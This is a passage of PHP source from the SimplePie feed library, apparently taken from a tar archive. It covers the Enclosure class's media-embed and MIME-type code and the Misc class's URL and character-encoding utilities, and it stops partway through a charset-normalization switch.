                            $alt = $opt[1];
                            break;

                        case 'altclass':
                            $altclass = $opt[1];
                            break;

                        case 'loop':
                            $loop = $opt[1];
                            break;

                        case 'width':
                            $width = $opt[1];
                            break;

                        case 'height':
                            $height = $opt[1];
                            break;

                        case 'bgcolor':
                            $bgcolor = $opt[1];
                            break;

                        case 'mediaplayer':
                            $mediaplayer = $opt[1];
                            break;

                        case 'widescreen':
                            $widescreen = $opt[1];
                            break;
                    }
                }
            }
        }

        $mime = explode('/', $type, 2);
        $mime = $mime[0];

        // Process values for 'auto'
        if ($width === 'auto') {
            if ($mime === 'video') {
                if ($height === 'auto') {
                    $width = 480;
                } elseif ($widescreen) {
                    $width = round((intval($height) / 9) * 16);
                } else {
                    $width = round((intval($height) / 3) * 4);
                }
            } else {
                $width = '100%';
            }
        }

        if ($height === 'auto') {
            if ($mime === 'audio') {
                $height = 0;
            } elseif ($mime === 'video') {
                if ($width === 'auto') {
                    if ($widescreen) {
                        $height = 270;
                    } else {
                        $height = 360;
                    }
                } elseif ($widescreen) {
                    $height = round((intval($width) / 16) * 9);
                } else {
                    $height = round((intval($width) / 4) * 3);
                }
            } else {
                $height = 376;
            }
        } elseif ($mime === 'audio') {
            $height = 0;
        }

        // Set proper placeholder value
        if ($mime === 'audio') {
            $placeholder = $audio;
        } elseif ($mime === 'video') {
            $placeholder = $video;
        }

        $embed = '';

        // Flash
        if ($handler === 'flash') {
            if ($native) {
                $embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
            }
        }

        // Flash Media Player file types.
        // Preferred handler for MP3 file types.
        elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) {
            $height += 20;
            if ($native) {
                $embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
            }
        }

        // QuickTime 7 file types.  Need to test with QuickTime 6.
        // Only handle MP3's if the Flash Media Player is not present.
        elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) {
            $height += 16;
            if ($native) {
                if ($placeholder !== '') {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                } else {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                }
            } else {
                $embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
            }
        }

        // Windows Media
        elseif ($handler === 'wmedia') {
            $height += 45;
            if ($native) {
                $embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
            }
        }

        // Everything else
        else {
            $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
        }

        return $embed;
    }

    /**
     * Get the real media type
     *
     * Often, feeds lie to us, necessitating a bit of deeper inspection. This
     * converts types to their canonical representations based on the file
     * extension
     *
     * @see get_type()
     * @param bool $find_handler Internal use only, use {@see get_handler()} instead
     * @return string MIME type
     */
    public function get_real_type($find_handler = false)
    {
        // Mime-types by handler.
        $types_flash = ['application/x-shockwave-flash', 'application/futuresplash']; // Flash
        $types_fmedia = ['video/flv', 'video/x-flv','flv-application/octet-stream']; // Flash Media Player
        $types_quicktime = ['audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video']; // QuickTime
        $types_wmedia = ['application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx']; // Windows Media
        $types_mp3 = ['audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg']; // MP3

        if ($this->get_type() !== null) {
            $type = strtolower($this->type);
        } else {
            $type = null;
        }

        // If we encounter an unsupported mime-type, check the file extension and guess intelligently.
        if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) {
            $extension = $this->get_extension();
            if ($extension === null) {
                return null;
            }

            switch (strtolower($extension)) {
                // Audio mime-types
                case 'aac':
                case 'adts':
                    $type = 'audio/acc';
                    break;

                case 'aif':
                case 'aifc':
                case 'aiff':
                case 'cdda':
                    $type = 'audio/aiff';
                    break;

                case 'bwf':
                    $type = 'audio/wav';
                    break;

                case 'kar':
                case 'mid':
                case 'midi':
                case 'smf':
                    $type = 'audio/midi';
                    break;

                case 'm4a':
                    $type = 'audio/x-m4a';
                    break;

                case 'mp3':
                case 'swa':
                    $type = 'audio/mp3';
                    break;

                case 'wav':
                    $type = 'audio/wav';
                    break;

                case 'wax':
                    $type = 'audio/x-ms-wax';
                    break;

                case 'wma':
                    $type = 'audio/x-ms-wma';
                    break;

                    // Video mime-types
                case '3gp':
                case '3gpp':
                    $type = 'video/3gpp';
                    break;

                case '3g2':
                case '3gp2':
                    $type = 'video/3gpp2';
                    break;

                case 'asf':
                    $type = 'video/x-ms-asf';
                    break;

                case 'flv':
                    $type = 'video/x-flv';
                    break;

                case 'm1a':
                case 'm1s':
                case 'm1v':
                case 'm15':
                case 'm75':
                case 'mp2':
                case 'mpa':
                case 'mpeg':
                case 'mpg':
                case 'mpm':
                case 'mpv':
                    $type = 'video/mpeg';
                    break;

                case 'm4v':
                    $type = 'video/x-m4v';
                    break;

                case 'mov':
                case 'qt':
                    $type = 'video/quicktime';
                    break;

                case 'mp4':
                case 'mpg4':
                    $type = 'video/mp4';
                    break;

                case 'sdv':
                    $type = 'video/sd-video';
                    break;

                case 'wm':
                    $type = 'video/x-ms-wm';
                    break;

                case 'wmv':
                    $type = 'video/x-ms-wmv';
                    break;

                case 'wvx':
                    $type = 'video/x-ms-wvx';
                    break;

                    // Flash mime-types
                case 'spl':
                    $type = 'application/futuresplash';
                    break;

                case 'swf':
                    $type = 'application/x-shockwave-flash';
                    break;
            }
        }

        if ($find_handler) {
            if (in_array($type, $types_flash)) {
                return 'flash';
            } elseif (in_array($type, $types_fmedia)) {
                return 'fmedia';
            } elseif (in_array($type, $types_quicktime)) {
                return 'quicktime';
            } elseif (in_array($type, $types_wmedia)) {
                return 'wmedia';
            } elseif (in_array($type, $types_mp3)) {
                return 'mp3';
            }

            return null;
        }

        return $type;
    }
}

class_alias('SimplePie\Enclosure', 'SimplePie_Enclosure');
src/Misc.php000064400000206032151024210710006733 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\XML\Declaration\Parser;

/**
 * Miscellaneous utilities
 *
 * @package SimplePie
 */
class Misc
{
    private static $SIMPLEPIE_BUILD = null;

    public static function time_hms($seconds)
    {
        $time = '';

        $hours = floor($seconds / 3600);
        $remainder = $seconds % 3600;
        if ($hours > 0) {
            $time .= $hours.':';
        }

        $minutes = floor($remainder / 60);
        $seconds = $remainder % 60;
        if ($minutes < 10 && $hours > 0) {
            $minutes = '0' . $minutes;
        }
        if ($seconds < 10) {
            $seconds = '0' . $seconds;
        }

        $time .= $minutes.':';
        $time .= $seconds;

        return $time;
    }

    public static function absolutize_url($relative, $base)
    {
        $iri = \SimplePie\IRI::absolutize(new \SimplePie\IRI($base), $relative);
        if ($iri === false) {
            return false;
        }
        return $iri->get_uri();
    }

    /**
     * Get a HTML/XML element from a HTML string
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead (parsing HTML with regex is bad!)
     * @param string $realname Element name (including namespace prefix if applicable)
     * @param string $string HTML document
     * @return array
     */
    public static function get_element($realname, $string)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $return = [];
        $name = preg_quote($realname, '/');
        if (preg_match_all("/<($name)" . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
            for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) {
                $return[$i]['tag'] = $realname;
                $return[$i]['full'] = $matches[$i][0][0];
                $return[$i]['offset'] = $matches[$i][0][1];
                if (strlen($matches[$i][3][0]) <= 2) {
                    $return[$i]['self_closing'] = true;
                } else {
                    $return[$i]['self_closing'] = false;
                    $return[$i]['content'] = $matches[$i][4][0];
                }
                $return[$i]['attribs'] = [];
                if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) {
                    for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++) {
                        if (count($attribs[$j]) === 2) {
                            $attribs[$j][2] = $attribs[$j][1];
                        }
                        $return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = Misc::entities_decode(end($attribs[$j]));
                    }
                }
            }
        }
        return $return;
    }

    public static function element_implode($element)
    {
        $full = "<$element[tag]";
        foreach ($element['attribs'] as $key => $value) {
            $key = strtolower($key);
            $full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"';
        }
        if ($element['self_closing']) {
            $full .= ' />';
        } else {
            $full .= ">$element[content]</$element[tag]>";
        }
        return $full;
    }

    public static function error($message, $level, $file, $line)
    {
        if ((error_reporting() & $level) > 0) {
            switch ($level) {
                case E_USER_ERROR:
                    $note = 'PHP Error';
                    break;
                case E_USER_WARNING:
                    $note = 'PHP Warning';
                    break;
                case E_USER_NOTICE:
                    $note = 'PHP Notice';
                    break;
                default:
                    $note = 'Unknown Error';
                    break;
            }

            $log_error = true;
            if (!function_exists('error_log')) {
                $log_error = false;
            }

            $log_file = @ini_get('error_log');
            if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) {
                $log_error = false;
            }

            if ($log_error) {
                @error_log("$note: $message in $file on line $line", 0);
            }
        }

        return $message;
    }

    public static function fix_protocol($url, $http = 1)
    {
        $url = Misc::normalize_url($url);
        $parsed = Misc::parse_url($url);
        if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
        }

        if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
        }

        if ($http === 2 && $parsed['scheme'] !== '') {
            return "feed:$url";
        } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'podcast', 0, 4);
        } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'itpc', 0, 4);
        }

        return $url;
    }

    /**
     * @deprecated since SimplePie 1.8.0, use PHP native array_replace_recursive() instead.
     */
    public static function array_merge_recursive($array1, $array2)
    {
        foreach ($array2 as $key => $value) {
            if (is_array($value)) {
                $array1[$key] = Misc::array_merge_recursive($array1[$key], $value);
            } else {
                $array1[$key] = $value;
            }
        }

        return $array1;
    }

    public static function parse_url($url)
    {
        $iri = new \SimplePie\IRI($url);
        return [
            'scheme' => (string) $iri->scheme,
            'authority' => (string) $iri->authority,
            'path' => (string) $iri->path,
            'query' => (string) $iri->query,
            'fragment' => (string) $iri->fragment
        ];
    }

    public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '')
    {
        $iri = new \SimplePie\IRI('');
        $iri->scheme = $scheme;
        $iri->authority = $authority;
        $iri->path = $path;
        $iri->query = $query;
        $iri->fragment = $fragment;
        return $iri->get_uri();
    }

    public static function normalize_url($url)
    {
        $iri = new \SimplePie\IRI($url);
        return $iri->get_uri();
    }

    public static function percent_encoding_normalization($match)
    {
        $integer = hexdec($match[1]);
        if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) {
            return chr($integer);
        }

        return strtoupper($match[0]);
    }

    /**
     * Converts a Windows-1252 encoded string to a UTF-8 encoded string
     *
     * @static
     * @param string $string Windows-1252 encoded string
     * @return string UTF-8 encoded string
     */
    public static function windows_1252_to_utf8($string)
    {
        static $convert_table = ["\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"];

        return strtr($string, $convert_table);
    }

    /**
     * Change a string from one encoding to another
     *
     * @param string $data Raw data in $input encoding
     * @param string $input Encoding of $data
     * @param string $output Encoding you want
     * @return string|boolean False if we can't convert it
     */
    public static function change_encoding($data, $input, $output)
    {
        $input = Misc::encoding($input);
        $output = Misc::encoding($output);

        // We fail to fail on non US-ASCII bytes
        if ($input === 'US-ASCII') {
            static $non_ascii_octects = '';
            if (!$non_ascii_octects) {
                for ($i = 0x80; $i <= 0xFF; $i++) {
                    $non_ascii_octects .= chr($i);
                }
            }
            $data = substr($data, 0, strcspn($data, $non_ascii_octects));
        }

        // This is first, as behaviour of this is completely predictable
        if ($input === 'windows-1252' && $output === 'UTF-8') {
            return Misc::windows_1252_to_utf8($data);
        }
        // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
        elseif (function_exists('mb_convert_encoding') && ($return = Misc::change_encoding_mbstring($data, $input, $output))) {
            return $return;
        }
        // This is third, as behaviour of this varies with OS userland and PHP version
        elseif (function_exists('iconv') && ($return = Misc::change_encoding_iconv($data, $input, $output))) {
            return $return;
        }
        // This is last, as behaviour of this varies with OS userland and PHP version
        elseif (class_exists('\UConverter') && ($return = Misc::change_encoding_uconverter($data, $input, $output))) {
            return $return;
        }

        // If we can't do anything, just fail
        return false;
    }

    protected static function change_encoding_mbstring($data, $input, $output)
    {
        if ($input === 'windows-949') {
            $input = 'EUC-KR';
        }
        if ($output === 'windows-949') {
            $output = 'EUC-KR';
        }
        if ($input === 'Windows-31J') {
            $input = 'SJIS';
        }
        if ($output === 'Windows-31J') {
            $output = 'SJIS';
        }

        // Check that the encoding is supported
        if (!in_array($input, mb_list_encodings())) {
            return false;
        }

        if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") {
            return false;
        }

        // Let's do some conversion
        if ($return = @mb_convert_encoding($data, $output, $input)) {
            return $return;
        }

        return false;
    }

    protected static function change_encoding_iconv($data, $input, $output)
    {
        return @iconv($input, $output, $data);
    }

    /**
     * @param string $data
     * @param string $input
     * @param string $output
     * @return string|false
     */
    protected static function change_encoding_uconverter($data, $input, $output)
    {
        return @\UConverter::transcode($data, $output, $input);
    }

    /**
     * Normalize an encoding name
     *
     * This is automatically generated by create.php
     *
     * To generate it, run `php create.php` on the command line, and copy the
     * output to replace this function.
     *
     * @param string $charset Character set to standardise
     * @return string Standardised name
     */
    public static function encoding($charset)
    {
        // Normalization from UTS #22
        switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) {
            case 'adobestandardencoding':
            case 'csadobestandardencoding':
                return 'Adobe-Standard-Encoding';

            case 'adobesymbolencoding':
            case 'cshppsmath':
                return 'Adobe-Symbol-Encoding';

            case 'ami1251':
            case 'amiga1251':
                return 'Amiga-1251';

            case 'ansix31101983':
            case 'csat5001983':
            case 'csiso99naplps':
            case 'isoir99':
            case 'naplps':
                return 'ANSI_X3.110-1983';

            case 'arabic7':
            case 'asmo449':
            case 'csiso89asmo449':
            case 'iso9036':
            case 'isoir89':
                return 'ASMO_449';

            case 'big5':
            case 'csbig5':
                return 'Big5';

            case 'big5hkscs':
                return 'Big5-HKSCS';

            case 'bocu1':
            case 'csbocu1':
                return 'BOCU-1';

            case 'brf':
            case 'csbrf':
                return 'BRF';

            case 'bs4730':
            case 'csiso4unitedkingdom':
            case 'gb':
            case 'iso646gb':
            case 'isoir4':
            case 'uk':
                return 'BS_4730';

            case 'bsviewdata':
            case 'csiso47bsviewdata':
            case 'isoir47':
                return 'BS_viewdata';

            case 'cesu8':
            case 'cscesu8':
                return 'CESU-8';

            case 'ca':
            case 'csa71':
            case 'csaz243419851':
            case 'csiso121canadian1':
            case 'iso646ca':
            case 'isoir121':
                return 'CSA_Z243.4-1985-1';

            case 'csa72':
            case 'csaz243419852':
            case 'csiso122canadian2':
            case 'iso646ca2':
            case 'isoir122':
                return 'CSA_Z243.4-1985-2';

            case 'csaz24341985gr':
            case 'csiso123csaz24341985gr':
            case 'isoir123':
                return 'CSA_Z243.4-1985-gr';

            case 'csiso139csn369103':
            case 'csn369103':
            case 'isoir139':
                return 'CSN_369103';

            case 'csdecmcs':
            case 'dec':
            case 'decmcs':
                return 'DEC-MCS';

            case 'csiso21german':
            case 'de':
            case 'din66003':
            case 'iso646de':
            case 'isoir21':
                return 'DIN_66003';

            case 'csdkus':
            case 'dkus':
                return 'dk-us';

            case 'csiso646danish':
            case 'dk':
            case 'ds2089':
            case 'iso646dk':
                return 'DS_2089';

            case 'csibmebcdicatde':
            case 'ebcdicatde':
                return 'EBCDIC-AT-DE';

            case 'csebcdicatdea':
            case 'ebcdicatdea':
                return 'EBCDIC-AT-DE-A';

            case 'csebcdiccafr':
            case 'ebcdiccafr':
                return 'EBCDIC-CA-FR';

            case 'csebcdicdkno':
            case 'ebcdicdkno':
                return 'EBCDIC-DK-NO';

            case 'csebcdicdknoa':
            case 'ebcdicdknoa':
                return 'EBCDIC-DK-NO-A';

            case 'csebcdices':
            case 'ebcdices':
                return 'EBCDIC-ES';

            case 'csebcdicesa':
            case 'ebcdicesa':
                return 'EBCDIC-ES-A';

            case 'csebcdicess':
            case 'ebcdicess':
                return 'EBCDIC-ES-S';

            case 'csebcdicfise':
            case 'ebcdicfise':
                return 'EBCDIC-FI-SE';

            case 'csebcdicfisea':
            case 'ebcdicfisea':
                return 'EBCDIC-FI-SE-A';

            case 'csebcdicfr':
            case 'ebcdicfr':
                return 'EBCDIC-FR';

            case 'csebcdicit':
            case 'ebcdicit':
                return 'EBCDIC-IT';

            case 'csebcdicpt':
            case 'ebcdicpt':
                return 'EBCDIC-PT';

            case 'csebcdicuk':
            case 'ebcdicuk':
                return 'EBCDIC-UK';

            case 'csebcdicus':
            case 'ebcdicus':
                return 'EBCDIC-US';

            case 'csiso111ecmacyrillic':
            case 'ecmacyrillic':
            case 'isoir111':
            case 'koi8e':
                return 'ECMA-cyrillic';

            case 'csiso17spanish':
            case 'es':
            case 'iso646es':
            case 'isoir17':
                return 'ES';

            case 'csiso85spanish2':
            case 'es2':
            case 'iso646es2':
            case 'isoir85':
                return 'ES2';

            case 'cseucpkdfmtjapanese':
            case 'eucjp':
            case 'extendedunixcodepackedformatforjapanese':
                return 'EUC-JP';

            case 'cseucfixwidjapanese':
            case 'extendedunixcodefixedwidthforjapanese':
                return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';

            case 'gb18030':
                return 'GB18030';

            case 'chinese':
            case 'cp936':
            case 'csgb2312':
            case 'csiso58gb231280':
            case 'gb2312':
            case 'gb231280':
            case 'gbk':
            case 'isoir58':
            case 'ms936':
            case 'windows936':
                return 'GBK';

            case 'cn':
            case 'csiso57gb1988':
            case 'gb198880':
            case 'iso646cn':
            case 'isoir57':
                return 'GB_1988-80';

            case 'csiso153gost1976874':
            case 'gost1976874':
            case 'isoir153':
            case 'stsev35888':
                return 'GOST_19768-74';

            case 'csiso150':
            case 'csiso150greekccitt':
            case 'greekccitt':
            case 'isoir150':
                return 'greek-ccitt';

            case 'csiso88greek7':
            case 'greek7':
            case 'isoir88':
                return 'greek7';

            case 'csiso18greek7old':
            case 'greek7old':
            case 'isoir18':
                return 'greek7-old';

            case 'cshpdesktop':
            case 'hpdesktop':
                return 'HP-DeskTop';

            case 'cshplegal':
            case 'hplegal':
                return 'HP-Legal';

            case 'cshpmath8':
            case 'hpmath8':
                return 'HP-Math8';

            case 'cshppifont':
            case 'hppifont':
                return 'HP-Pi-font';

            case 'cshproman8':
            case 'hproman8':
            case 'r8':
            case 'roman8':
                return 'hp-roman8';

            case 'hzgb2312':
                return 'HZ-GB-2312';

            case 'csibmsymbols':
            case 'ibmsymbols':
                return 'IBM-Symbols';

            case 'csibmthai':
            case 'ibmthai':
                return 'IBM-Thai';

            case 'cp37':
            case 'csibm37':
            case 'ebcdiccpca':
            case 'ebcdiccpnl':
            case 'ebcdiccpus':
            case 'ebcdiccpwt':
            case 'ibm37':
                return 'IBM037';

            case 'cp38':
            case 'csibm38':
            case 'ebcdicint':
            case 'ibm38':
                return 'IBM038';

            case 'cp273':
            case 'csibm273':
            case 'ibm273':
                return 'IBM273';

            case 'cp274':
            case 'csibm274':
            case 'ebcdicbe':
            case 'ibm274':
                return 'IBM274';

            case 'cp275':
            case 'csibm275':
            case 'ebcdicbr':
            case 'ibm275':
                return 'IBM275';

            case 'csibm277':
            case 'ebcdiccpdk':
            case 'ebcdiccpno':
            case 'ibm277':
                return 'IBM277';

            case 'cp278':
            case 'csibm278':
            case 'ebcdiccpfi':
            case 'ebcdiccpse':
            case 'ibm278':
                return 'IBM278';

            case 'cp280':
            case 'csibm280':
            case 'ebcdiccpit':
            case 'ibm280':
                return 'IBM280';

            case 'cp281':
            case 'csibm281':
